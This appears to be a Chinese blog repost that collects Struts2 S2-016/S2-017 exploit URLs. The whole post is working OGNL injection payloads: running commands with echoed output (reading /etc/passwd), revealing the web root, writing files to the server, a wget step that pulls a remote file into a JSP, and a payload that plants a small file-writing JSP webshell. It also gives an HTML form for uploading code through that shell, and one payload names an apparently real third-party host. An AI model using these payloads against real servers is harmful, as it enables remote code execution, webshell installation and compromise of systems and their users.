标签:style blog http io ar color os 使用 sp
带回显命令执行:
http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat‘,‘/etc/passwd‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
查看web路径:
http://www.example.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
向web目录写入文件: x.html是文件名字,test 是文件内容
http://rank.kongzhong.com:80/updateUserName?aid=&redirect:xxxxx%25{%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘),%23path%3d%23req.getRealPath(%22/%22)%2b‘/x.html‘,%23d%3dnew%20java.io.FileWriter(%23path),%23d.write(‘test‘),%23d.close()}
linux wget getshell 利用stusts2:
http://www.baidu.com/1.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘wget‘,‘http://www.url.com/xx.txt‘,‘- O‘,‘/root/1.jsp‘} )).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get (‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}
getshell通杀版本:
http://www.example.com/struts2-blank/example/X.action?redirect:${ %23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘), %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"), new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
写入的文件是:
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
配合客户端使用:
其实就是一个jsp的小马,需要客户端配合
函数f是文件名,t是内容
客户端:
<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post"> <textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br> <input type=submit value="提交"> </form>
就在当前目录建立一个fjp.jsp
shell:http://www.example.com/struts2-blank/example/fjp.jsp
Struts2 S2-016/S2-017 命令执行带回显、写入文件,看web路径、getshell exp整理
标签:style blog http io ar color os 使用 sp
原文地址:http://www.cnblogs.com/jusker/p/4136406.html